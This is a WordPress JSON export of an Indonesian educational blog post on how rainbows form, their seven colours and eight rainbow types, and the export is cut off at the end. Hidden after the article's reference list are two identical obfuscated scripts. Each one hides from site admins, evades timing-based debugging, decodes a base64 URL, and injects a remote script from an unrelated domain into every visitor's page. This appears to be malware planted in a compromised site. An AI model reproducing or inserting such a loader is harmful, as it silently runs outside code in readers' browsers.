{"id":934,"date":"2025-06-04T09:00:35","date_gmt":"2025-06-04T02:00:35","guid":{"rendered":"https:\/\/www.altaschool.id\/blog\/?p=934"},"modified":"2026-01-20T06:26:00","modified_gmt":"2026-01-19T23:26:00","slug":"proses-terjadinya-pelangi","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi","title":{"rendered":"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png\" alt=\"proses terjadinya pelangi\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Apa itu pelangi? Seperti apa proses terbentuknya pelangi yang biasa kita lihat di langit setelah hujan? Simak pembahasannya di sini, ya!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">&#8212;<\/span><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Pelangi, pelangi, alangkah indahmu~<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Merah, kuning, hijau, di langit yang biru~<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Siapa yang suka menyanyikan lagu Pelangi ciptaan A.T. Mahmud? Lagu ini menjadi lagu anak-anak favorit banyak orang yang sering dinyanyikan, terutama saat sedang muncul pelangi. <\/span><span style=\"font-weight: 400;\"><em>By the way,<\/em> <\/span><span style=\"font-weight: 400;\">ngomongin soal pelangi\u2026 kamu udah tahu belum sih, bagaimana proses terjadinya pelangi? Kenapa pelangi bisa terbentuk di langit? Nah, daripada penasaran, yuk simak artikel berikut ini supaya semua pertanyaan kamu tentang pelangi bisa terjawab!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Pelangi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Menurut Kamus Besar Bahasa Indonesia, pelangi adalah lengkung spektrum warna di langit yang tampak karena pembiasan sinar matahari oleh titik-titik hujan atau embun. Pelangi juga bisa diartikan sebagai busur warna-warni yang dihasilkan ketika cahaya mengenai tetesan air, kemudian cahaya tersebut dibiaskan dan dipantulkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Proses Terjadinya Pelangi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagaimana pelangi bisa terbentuk?\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi terjadi saat sinar matahari bertemu dengan air hujan. Ketika sinar matahari bersinar di atas sisa hujan, maka air hujan akan merefleksikan cahaya dan membiaskan bermacam-macam warna. Pelangi tidak selalu muncul setelah hujan, tetapi kebanyakan pelangi muncul setelah hujan karena sinar matahari membutuhkan sisa air hujan untuk membentuk pelangi.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/nama-nama-planet\">Urutan Planet di Tata Surya beserta Ciri dan Gambarnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/aaf561f3-07e6-4182-bc32-6011f770985c.jpg\" alt=\"proses terbentuknya pelangi\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Proses terbentuknya pelangi (Sumber: Facebook Ruangguru)<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jika diuraikan, proses terbentuknya pelangi terdiri atas tiga tahap, yaitu:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Saat terjadi hujan, udara biasanya mengandung banyak tetes air yang berbentuk seperti butiran atau bulir. Nah, cahaya putih dari matahari akan mengenai tetes-tetes hujan tersebut.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Kemudian, cahaya matahari yang mengenai tetes hujan akan dibiaskan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Setelah itu, cahaya putih akan diuraikan menjadi spektrum warna yang terdiri atas 7 warna, yakni mejikuhibiniu (merah, jingga, kuning, hijau, biru, nila, dan ungu).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi dapat terjadi saat kondisi hujan atau setelah hujan, yang disertai adanya cahaya matahari yang cerah. Selain ketika hujan, pelangi juga dapat terjadi di siang hari pada air terjun yang tinggi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Warna Pelangi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Warna pelangi apa saja? Seperti yang sudah disebutkan di atas, <strong>warna pelangi ada tujuh<\/strong>, yaitu <strong>merah, jingga, kuning, hijau, biru, nila, dan ungu, atau biasa disingkat mejikuhibiniu.<\/strong> Mengapa pelangi berwarna-warni padahal cahaya matahari terlihat berwarna putih? Hal ini berkaitan dengan proses refleksi, dispersi, dan refraksi yang dialami cahaya matahari.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jadi, cahaya matahari yang tampak berwarna putih akan mengenai butiran air dan mengalami refleksi (dipantulkan). Setelah itu, cahaya matahari akan dibiaskan dan terdispersi (terurai) menjadi berwarna-warni. Selanjutnya, cahaya matahari akan menembus butiran air dan mengalami refraksi (dipantulkan ke arah yang sedikit berbeda).\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setiap warna pada pelangi akan mengalami refraksi ke arah yang berbeda. Perbedaan arah cahaya tersebut dipengaruhi oleh panjang gelombang setiap cahaya. Hal inilah yang menyebabkan cahaya pelangi menyebar lalu melebar seperti kipas. Cahaya berwarna merah memiliki panjang gelombang yang paling panjang, yakni sekitar 650 nanometer. Oleh karena itu, cahaya merah ini akan keluar sebagai warna terluar pada lengkungan pelangi. Sementara itu, warna ungu memiliki panjang gelombang paling pendek, yakni sekitar 400 nanometer. Oleh karena itu, warna ungu terletak pada bagian dalam lengkungan pelangi.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/revolusi-bumi\">Revolusi Bumi: Pengertian, Akibat Terjadinya &amp; Durasinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Pelangi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdapat beberapa jenis pelangi berdasarkan bentuknya yang terlihat oleh mata manusia, di antaranya yaitu:<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>1. Pelangi Primer\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi primer adalah pelangi yang paling sering kita lihat. Pelangi ini terbentuk dari pembiasan dan pantulan internal dari cahaya yang masuk ke dalam titik hujan. Hasil warna dari pelangi primer yaitu mejikuhibiniu. Pita merah akan membuat sudut 42 derajat dengan sinar matahari, sementara pita warna lainnya membuat sudut yang lebih kecil.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>2. <\/b><\/span><em><span style=\"font-size: 14pt;\"><b>Secondary Bow<\/b><\/span><\/em><\/h3>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Secondary bow <\/span><\/em><span style=\"font-weight: 400;\">atau pelangi busur sekunder adalah pelangi yang penampakannya kurang intens. Pelangi jenis ini merupakan salah satu pelangi yang langka karena hanya akan muncul saat ada pelangi primer yang muncul terlebih dahulu. Pelangi sekunder akan menampilkan warna yang tampak lebih redup dibandingkan pelangi primer. Jika kamu pernah melihat dua pelangi dengan intensitas warna yang berbeda, bisa jadi itu adalah jenis pelangi sekunder.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>3. <\/b><em><b>Supernumerary Bow<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Supernumerary bow<\/span><\/em><span style=\"font-weight: 400;\"> umumnya memiliki warna hijau, merah muda, dan ungu yang tampak dominan. Pelangi jenis ini terjadi saat terkena tetesan air hujan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>4. <\/b><em><b>Lunar Rainbow<\/b><b>\u00a0<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi tidak hanya terbentuk oleh cahaya matahari, melainkan juga bisa terbentuk karena cahaya bulan. Pelangi jenis ini disebut sebagai <\/span><em><span style=\"font-weight: 400;\">lunar rainbow<\/span><\/em><span style=\"font-weight: 400;\">. Pelangi jenis ini hanya membutuhkan tetesan air dan sumber cahaya, misalnya bulan purnama yang cahayanya cukup terang. Cahaya tersebut dapat dibiaskan oleh tetesan hujan seperti yang terjadi pada matahari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>5. <\/b><em><b>Red Rainbow<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Tidak seperti pelangi lain yang memiliki banyak warna, pelangi jenis <\/span><em><span style=\"font-weight: 400;\">red rainbow<\/span><\/em><span style=\"font-weight: 400;\"> menampakkan warna yang didominasi oleh warna merah. <\/span><em><span style=\"font-weight: 400;\">Red rainbow<\/span><\/em><span style=\"font-weight: 400;\"> biasanya muncul di pagi hari dan saat matahari terbenam di sore hari.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>6. <\/b><em><b>Sundogs<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi jenis ini biasanya muncul saat musim dingin dan cuaca terpantau cerah. Pelangi <\/span><span style=\"font-weight: 400;\"><em>sundogs<\/em> <\/span><span style=\"font-weight: 400;\">biasa terjadi ketika matahari bersinar melalui kristal es yang tinggi di atmosfer. Pelangi <\/span><span style=\"font-weight: 400;\"><em>sundogs<\/em> <\/span><span style=\"font-weight: 400;\">biasa menampilkan pantulan cahaya berwarna merah pada bagian dalam dan warna ungu di bagian luar, lalu diikuti warna pelangi lainnya. Apabila konsentrasi kristal es di udara kian tebal maka struktur warna pelangi yang muncul juga kian tebal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>7. <\/b><em><b>Fogbow<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penampakan pelangi <\/span><span style=\"font-weight: 400;\"><em>fogbow<\/em> <\/span><span style=\"font-weight: 400;\">atau busur kabut sulit didapatkan dari pelangi lainnya. Sebab, pelangi jenis ini hanya akan terjadi saat jumlah parameter tertentu disesuaikan untuk menciptakan pelangi fogbows. Misalnya, sumber cahaya harus berada di belakang pengamat dan membumi. Selain itu, kabut di belakang pengamat juga harus sangat tipis sehingga sinar matahari bisa bersinar melalui kabut tebal di depan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><b>8. <\/b><em><b>Waterfall Rainbow<\/b><\/em><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pelangi air terjun atau <\/span><em><span style=\"font-weight: 400;\">waterfall rainbow <\/span><\/em><span style=\"font-weight: 400;\">adalah pelangi yang penampakannya jarang kita temui karena biasanya hanya dapat dilihat di atas air terjun. <\/span><em><span style=\"font-weight: 400;\">Waterfall rainbow<\/span><\/em><span style=\"font-weight: 400;\"> ini biasanya didapati ketika kabut air terjun bercampur ke dalam aliran udara dengan konstan atmosfer terus-menerus.<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, sekian dulu penjelasan lengkap mengenai proses terbentuknya pelangi, warna pelangi, hingga jenis-jenis pelangi. Fenomena apa lagi nih, yang ingin kamu ketahui penjelasannya? Langsung aja tulis di kolom komentar di bawah, ya! Jangan lupa juga untuk belajar terus bersama <strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School<\/a><\/strong>! AGS adalah sekolah dengan metode pembelajaran\u00a0<em>blended-learning<\/em>\u00a0untuk jenjang Pre-K hingga Kelas 12, yang dirancang untuk mempersiapkan siswa mendapatkan beasiswa ke universitas terkemuka di Indonesia dan dunia. Yuk, daftar dengan isi data di bawah ini!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Referensi:<\/strong><\/p>\n<p style=\"text-align: justify;\">https:\/\/news.detik.com\/berita\/d-7167446\/bagaimana-proses-terjadinya-pelangi-ini-penjelasannya<\/p>\n<p style=\"text-align: justify;\">https:\/\/www.detik.com\/edu\/detikpedia\/d-6338423\/bagaimana-pelangi-terbentuk-seperti-ini-proses-lengkapnya<\/p>\n<p style=\"text-align: justify;\">https:\/\/www.cnnindonesia.com\/edukasi\/20230130131609-569-906569\/3-proses-terbentuknya-pelangi-di-langit-dan-arti-tiap-warnanya<\/p>\n<p style=\"text-align: justify;\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"AN7ggbMOkI\"><p><a href=\"https:\/\/www.gramedia.com\/literasi\/proses-terjadinya-pelangi\/\">Proses Terjadinya Pelangi, Jenis Pelangi, &#038; Mitos Pelangi<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"&#8220;Proses Terjadinya Pelangi, Jenis Pelangi, &#038; Mitos Pelangi&#8221; &#8212; Gramedia Literasi\" src=\"https:\/\/www.gramedia.com\/literasi\/proses-terjadinya-pelangi\/embed\/#?secret=AN7ggbMOkI\" data-secret=\"AN7ggbMOkI\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p style=\"text-align: justify;\">https:\/\/www.kompas.com\/tren\/read\/2023\/10\/15\/114500065\/proses-terbentuknya-pelangi-fenomena-lengkung-warna-warni-setelah-hujan?page=all<\/p>\n<p style=\"text-align: justify;\">https:\/\/www.sampoernaacademy.sch.id\/id\/proses-terjadinya-pelangi\/<\/p>\n<p style=\"text-align: justify;\">(Diakses: 5 Juni 2024)<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apa itu pelangi? Seperti apa proses terbentuknya pelangi yang biasa kita lihat di langit setelah hujan? Simak pembahasannya di sini, ya! &#8212; Pelangi, pelangi, alangkah indahmu~ Merah, kuning, hijau, di langit yang biru~ Siapa yang suka menyanyikan lagu Pelangi ciptaan A.T. Mahmud? Lagu ini menjadi lagu anak-anak favorit banyak orang yang sering dinyanyikan, terutama saat [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":934,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1749008867:1"],"_edit_last":["1"],"_oembed_a421902968e968020a11cbb928d40551":["{{unknown}}"],"_aioseo_title":[null],"_aioseo_description":["Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png"],"_oembed_f787450e9b004f735139d33ba74840e8":["{{unknown}}"],"_oembed_379807c4e069742e42dbb1a288cad8ae":["{{unknown}}"],"_oembed_e48d72ec7c64afbb4b953fc4224ad6bc":["{{unknown}}"],"_oembed_ee78b7cc981a55fdffdcb6f08cf2071e":["{{unknown}}"],"_oembed_time_ee78b7cc981a55fdffdcb6f08cf2071e":["1717560404"],"_oembed_576f57b933ea80999d3affd5bcf595e0":["{{unknown}}"],"_oembed_776f67d49677ee6fff8dfdd27df37c02":["<blockquote class=\"wp-embedded-content\" data-secret=\"0Ar64yFDLx\"><a href=\"https:\/\/www.sampoernaacademy.sch.id\/id\/proses-terjadinya-pelangi\/\">Memahami Proses Terjadinya Fenomena Pelangi<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Memahami Proses Terjadinya Fenomena Pelangi&#8221; &#8212; Sampoerna Academy\" src=\"https:\/\/www.sampoernaacademy.sch.id\/id\/proses-terjadinya-pelangi\/embed\/#?secret=u9dv67Fy7C#?secret=0Ar64yFDLx\" data-secret=\"0Ar64yFDLx\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>"],"_oembed_time_776f67d49677ee6fff8dfdd27df37c02":["1717560413"],"_oembed_1b2424d6e8c4c0232902670038b4bf23":["{{unknown}}"],"_oembed_83f3e701289adacaf30d75762af313e6":["{{unknown}}"],"_oembed_7ee213e1773819308cb4fc11401c396b":["{{unknown}}"],"_oembed_1dcc19f799fa64309716ed847bc98a14":["<blockquote class=\"wp-embedded-content\" data-secret=\"AN7ggbMOkI\"><a href=\"https:\/\/www.gramedia.com\/literasi\/proses-terjadinya-pelangi\/\">Proses Terjadinya Pelangi, Jenis Pelangi, &#038; Mitos Pelangi<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"&#8220;Proses Terjadinya Pelangi, Jenis Pelangi, &#038; Mitos Pelangi&#8221; &#8212; Gramedia Literasi\" src=\"https:\/\/www.gramedia.com\/literasi\/proses-terjadinya-pelangi\/embed\/#?secret=AN7ggbMOkI\" data-secret=\"AN7ggbMOkI\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>"],"_oembed_time_1dcc19f799fa64309716ed847bc98a14":["1749009009"],"_oembed_30c252f97fc85d61a3bbfb47a5ff2223":["{{unknown}}"],"_oembed_8ff33db0963c18d2ccaae9a2e0369148":["{{unknown}}"],"_wp_old_date":["2024-06-05"],"_linker_next_update":["1769393381"],"_yoast_wpseo_metadesc":["Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!"]},"categories":[1],"tags":[],"class_list":["post-934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!<\/title>\n<meta name=\"description\" content=\"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!\" \/>\n<meta property=\"og:description\" content=\"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-04T02:00:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:26:00+00:00\" \/>\n<meta name=\"author\" content=\"Kenya Swawikanti\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Kenya Swawikanti\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi\",\"name\":\"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png\",\"datePublished\":\"2025-06-04T02:00:35+00:00\",\"dateModified\":\"2026-01-19T23:26:00+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4\"},\"description\":\"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/b8eb2948-8855-46e2-9050-567172875851.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4\",\"name\":\"Kenya Swawikanti\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g\",\"caption\":\"Kenya Swawikanti\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/kenya-swawikanti\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!","description":"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi","og_locale":"en_US","og_type":"article","og_title":"Bagaimana Proses Terjadinya Pelangi? Ini Dia Jawabannya!","og_description":"Apa itu pelangi? Seperti apa proses terbentuknya yang biasa kita lihat di langit setelah hujan? Simak pembahasan lengkapnya di sini, ya!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/proses-terjadinya-pelangi","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-06-04T02:00:35+00:00","article_modified_time":"2026-01-19T23:26:00+00:00","author":"Kenya Swawikanti","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Kenya Swawikanti","Est. reading time":"5 